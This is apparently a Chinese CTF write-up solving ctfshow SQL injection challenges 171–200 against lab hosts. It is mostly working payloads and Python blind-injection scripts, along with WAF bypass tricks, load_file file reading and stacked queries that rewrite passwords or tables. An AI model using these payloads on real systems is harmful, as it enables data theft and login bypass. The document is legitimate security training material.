title: CTFSHOW-sql注入(一)
data: 2021-09-15
tags: CTF-web
CTFSHOW sql注入(一)
开始一周的高强度sql注入训练,先从ctfshow 的基础开始。
包含了CTFSHOW sql注入的 170-200题。
这里都是sql注入的一些基本知识点。主要是了解sql注入的常见题型。
题目
web 171(万能密码)
万能密码:
1'or 1=1-- -
web 172(过滤回显内容)
这里看出有一定的waf,我们并不能在username里面输入flag且返回的列里面也不能有flag。那么我们已知flag在ctfshow_user2表中,且列名为flag。直接编码即可。
payload:
1' union select to_base64(username),password from ctfshow_user2 -- -
这里有一个细节就是如果我们采用的是get传参的方式的话,那么我们使用#时候需要使用%23。否则不会杯传到数据库中当作注释使用。
web 173
payload:
1' union select 1,2,group_concat(password) from ctfshow_user3%23
group_concat()直接把所有password连起来就行了。
web 174(盲注+regexp)
这个题首先,没判断出来是盲注。主要还是参考了Y4师傅的WP。但是最后一个Y4师傅是靠经验推断flag在第二十三行。这里我们采用一个正则匹配,就不用去猜flag在哪里了。
# @Author:k1he
import requests
url = "http://60e5e391-09c0-4ed1-a9a2-57d8e70d4c64.challenge.ctf.show:8080/api/v4.php?id=1"
flag = ''
for i in range(1,100):
min =32
max =127
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "'and ascii(substr((select database()),{},1))<{}-- -".format(i,mid)
payload = "'and ascii(substr((select group_concat(password) from ctfshow_user4 where password regexp('^ctf')),{},1))<{}-- -".format(i,mid)
res = requests.get(url+payload)
if "admin" in res.text:
max = mid
else:
min = mid
#库名
#ctfshow_web
#表名
#ctfshow_user4
#列名
#id,username,password
#flag
#ctfshow{35c495e4-d5bc-450c-a16a-c51f5777633f}
web 175(时间盲注)
看题目。返回内容不能有ascii为0-127的字符。直接把回显关了。只能直接采用盲注了。但是这里有一个新的问题是,怎么敲都是查询失败。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 17:30:35
# @Last Modified by: k1he
# @Last Modified time: 2021-09-18 17:47:28
import requests
url = "http://617002ea-275b-4340-9ced-18d46d869a56.challenge.ctf.show:8080/api/v5.php?id=1"
flag = ''
for i in range(1,100):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#表名
#paylaod = "1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
#列名
#paylaod = "1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5'),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
#id,username,password
#flag
paylaod = "1'and if(ascii(substr((select group_concat(password) from ctfshow_user5 where password regexp('^ctf')),{},1))<{},sleep(0.6),0)-- -".format(i,mid)
#ctfshow{97c033fb-e734-4ff5-894b-37c1e3145f8e}
try:
res = requests.get(url=url+paylaod,timeout=0.5)
min = mid
except:
max = mid
#库名
#ctfshow_web
#表名
#ctfshow_user5
#列名
#id,user,password
web 176(大小写绕过)
payload:
1'or 1=1%23
payload:
1' union sElect 1,2,group_concat(password) from ctfshow_user%23
web 177(空格过滤)
payload:
1'or%091=1%23
payload:
1'union%09sElect%091,2,group_concat(password)%09from%09ctfshow_user%23
贴个小tips:
绕过空格姿势:(暂时只想起来这么多后面再补)
%09 %0a %0c %0b %0d /**/
web 178()
暂时这题不知道过滤了什么。
payload:
1'or%091=1%23
payload:
1'union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
web 179(过滤%0a,%09)
简单测试过后,很容易发现过滤了%0a,%09。那么我们采用手工闭合或者%0c
payload:
1'or'1'='1'%23
1'or(1)=(1)%23
payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
web 180(过滤注释#,–+)
payload:
1'or'1'='1'--%0c-
payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c-
web 181-182(过滤select)
这题直接给出了过滤列表了。
|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i
可以看到最关键的select被过滤了。
这里卡住了,因为没有select太不好操作了。而handler需要能够连续执行语句的时候才能用。
去看了看师傅们的WP。
payload:
-1'or(id=26)and'1'='1
这个payload读一下还是能读懂的。
web 183(正则比较注入)
$sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
可以看到这题有回显,并且返回pass的条目。
这里进行了好久的测试。刚开始用的chr(32)~chr(127)。但是发现因为我们使用的是正则匹配,因此我们的通配符会被算上。直接雪崩。
后面采用了最简单的枚举法。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-18 20:47:53
import requests
url ="http://3df76f1c-80a4-442b-921e-7c8e77b7be14.challenge.ctf.show:8080/select-waf.php"
flag = ""
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,40): #此处可适当调大
for j in letter:
temp_flag = flag+j
data = {
"tableName":"(ctfshow_user)where(pass)regexp('^ctfshow{}')".format(temp_flag)
}
r = requests.post(url=url,data=data)
#print(r.text)
#print(data['tableName'])
if "$user_count = 1;" in r.text:
flag += j
print("ctfshow"+flag)
break
else:
continue
#ctfshow{2a41856e-f78f-4805-9c6b-3c159f2eed50}
web 184(having代替where,like盲注,十六进制替代)
此题在上一题的基础上过滤了单双引号。where。
并且因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2021-09-18 21:15:25
import requests
import sys
url = "http://345bf49b-6769-4ef8-83bd-b502bb7928fb.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag = "ctfshow{"
for i in range(0,100):
for j in letter:
temp_flag = flag+j
data ={
"tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%"))
}
#print(data["tableName"])
r = requests.post(url=url,data=data)
if "$user_count = 1;" in r.text:
flag += j
print(flag)
break
else:
continue
#ctfshow{ff9725af-75f3-4aad-b5a4-176d7bf6c717}
web 185-186(true代替数字,concat+chr代替引号)
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
这里可以看出在上一题的基础上更过滤了数字0-9.
抄了一个脚本,师傅们tql.
这里的核心在like后面使用了concat+chr的方式来得到字符串。
然后数字使用了true+true=2这种方式来绕过。
总体就是
like concat(chr(true+true),chr(true+true)) —>like "ctfshow{"—>得到flag
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 10:23:39
import requests
import sys
def createNum(n):
num = "true"
if n == 1:
return "true"
else:
for i in range(n - 1):
num += "+true"
return num
def createstrNum(m):
_str = ""
for j in m:
_str += ",chr(" + createNum(ord(j)) + ")"
return _str[1:]
url = "http://6e155536-4130-4c33-899e-241450edf3b5.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
for j in letter:
data = {
'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j +"%"))
}
res = requests.post(url=url, data=data).text
#print(data["tableName"])
if "$user_count = 1;" in res:
flag += j
print(flag)
break
if j == "}":
sys.exit()
#ctfshow{55d05897-933b-4796-99f3-5cfe49a5436a}
web 187(md5注入)
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
这里问题主要在这个MD5函数上面。因为MD5函数存在两个参数,其中第二个参数默认为false。当其为true的时候,会返回16位原始二进制字符串。因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。
可以看到很明显这里我们存在单引号,那么可以直接注入了。
注入后就变成了
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6xxxxxx'";
这里只要是数字1之类的都会被判断为true。因此成功登陆了。
payload:
username:admin
password:ffifdyop
payload:
username:admin
password:129581926211651571912466741651878684928
抓包即拿到flag
web 188(mysql弱比较)
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
可以看到这里登陆成功就有flag。
第一想法是对admin的密码进行修改。然后登陆成功即可。
}and update ctshow_user set pass=123 where username = admin%23
但是行不通。看着这么多眼熟的函数,上网搜了搜,mysql里面也存在弱比较。
1.字符串当作数字处理
即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。
因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。
2.品一下下面的句子。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BUEcYdPs-1633341285782)(https://i.loli.net/2021/09/19/YDRMFk1vHInS2wL.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQZ8W7KS-1633341285784)(https://i.loli.net/2021/09/19/aNj8pICesuEyKQr.png)]
payload1:
username=0&password=0
payload2:
username=1||1&password=0
web 189(load_file+regexp盲注)
$sql = "select pass from ctfshow_user where username = {$username}";
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
可以很清晰得看出这里没有空格了。所有空格都没了。在题目下给了一个hint:flag在/api/index.php中。
那么合理猜测我们需要去读index.php的内容。然后看load_file没有被ban掉。
根据目录应该时/var/www/html/api/index.php
测试了一下。回显只有查询失败和密码错误。那么想到了盲注。配合regexp使用。
if(load_file("/var/www/html/api/index.php")regexp("ctfshow{"),0,1)#
上脚本跑
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 15:55:45
import requests
url ="http://672fae7a-35db-4eca-8187-c6d1bcd4d481.challenge.ctf.show:8080/api/index.php"
flag = "ctfshow{"
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60): #此处可适当调大
for j in letter:
temp_flag = flag+j
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(temp_flag),
"password": 0,
}
r = requests.post(url=url,data=data)
#print(r.text)
#print(data['username'])
if "密码错误" in r.json()['msg']:
flag += j
print(flag)
break
else:
continue
#ctfshow{335a466f-e9f5-4840-9e17-eefddd2eed9e}
这里还学到一点就是返回的是json的时候该怎么处理。
web 190(json类型盲注)
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
测试了一下,本题多了一个用户名判断。应该是强比较判断。盲注。
这里手工测试一下,很容易发现用户名处存在盲注。
只存在"密码错误"和"用户名不存在"。当我们用户名处成功注入时返回密码错误。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 15:25:03
import requests
import sys
url = "http://ec825111-5f1a-434e-832f-7c2c48c558ed.challenge.ctf.show:8080/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
if "密码错误" == res.json()['msg']:
max = mid
else:
min = mid
#ctfshow{41c6d58b-1795-41ba-8d5d-56be249791aa}
web 191(过滤ascii)
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
增加了盲注过滤。没什么影响。ascii用ord替换。脚本一把梭哈。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 16:22:24
import requests
url ="http://9a8a7166-7150-4c7a-98ef-d4da2ef7781b.challenge.ctf.show:8080/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(mid == min):
flag += chr(mid)
print(flag)
if(chr(mid)=="{"):
exit()
break
#payload = "admin'and ascii(substr((select database()),{},1))>{}#".format(i,mid)
#payload = "admin'and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{}#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{}#".format(i,mid)
#id,f1ag
payload = "admin'and ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{}#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url=url,data=data)
#print(res.text)
#print(payload)
if "密码错误" in res.json()['msg']:
max = mid
else:
min = mid
web 192(正则截断注入)
admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 16:51:22
import requests
url ="http://a64eba92-a4e4-4b96-b11d-d5ad34cce45b.challenge.ctf.show:8080/api/"
flag = ""
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60): #此处可适当调大
for j in letter:
temp_flag = flag+j
data = {
"username": "admin'and if(substr((select group_concat(f1ag) from ctfshow_fl0g where f1ag regexp('ctfshow')),{},1)='{}',0,1)#".format(i,j),
"password": 0,
}
r = requests.post(url=url,data=data)
#print(r.text)
#print(data['username'])
if "用户名不存在" in r.json()['msg']:
flag += j
print(flag)
break
else:
continue
#ctfshow{da178f3e-bfd6-42dc-89a8-f507be312c6f}
web 193-194(like注入)
讲道理这里的话上一题的Payload将substr换成mid就能用了。但是不知道为什么没打通。
选择了抄师傅们的脚本。这里用的是like注入。但是好像like注入确实比regexp注入好理解。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-19 18:39:19
import requests
url='http://40ebd4e2-e4d3-41d1-80e7-421bc0d3dc26.challenge.ctf.show:8080/api/'
flag=""
letter = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"
for i in range(0,100):
for j in letter:
#payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)#".format(flag+j+"%")
#ctfshow_flxg
#payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)#".format(flag+j+"%")
#id,f1ag
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")
#ctfshow{7259adb9-4f34-4c72-bbeb-0fd74517cd3c}
data={
'username':payload,
'password':1
}
#print(payload)
r=requests.post(url=url,data=data)
#print(r.text)
if "密码错误" in r.json()['msg']:
flag+=j
print(flag)
if j=='}':
exit()
break
web 195(堆叠注入-反单引号)
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
这里开启堆叠注入了。堆叠注入不是很理解。只能边看WP边学了。
堆叠注入的核心就是可以执行多个语句。
那么这里我们并不知道密码,可以利用堆叠注入进行一个更改密码的语句执行。
之前我一直以为反单引号内部代表表名。后面查了一下,反单引号用于区分保留字。
对于本题也就是pass
代表pass字段。`
payload:
username:0;update`ctfshow_user`set`pass`=1;
password:1
点两下登陆就行了。
web 196(堆叠注入-限制长度)
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
这里目前还没问到预期解。。
据说这题没有ban select。但是正则里面确实写了ban select。问了下群主,忘了ban select....
因此这里是非预期:
payload:
username:0;select(1);
password:1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fPPGM5ON-1633341285787)(https://i.loli.net/2021/09/19/UJrVQihSEH8NFsg.png)]
web 197-198(堆叠注入-更改列名)
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
这里可以看出没有了update我们无法更改密码了。但是这个判断的话我们可以通过将pass字段和id字段互换。进而通过爆破id就能拿到flag。
paylaod:
username:0;alter table `ctfshow_user` change `pass` `k1he` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255);
web 199-200
感觉这个主要是出题的问题。好像190-200都能用这个通杀。
因为这里作比较的主要是查询后的结果和传入的参数比较。又有row[0]的存在。
因此我们可以使用这个非预期payload。
payload:
username:0;show tables;
password:ctfshow_user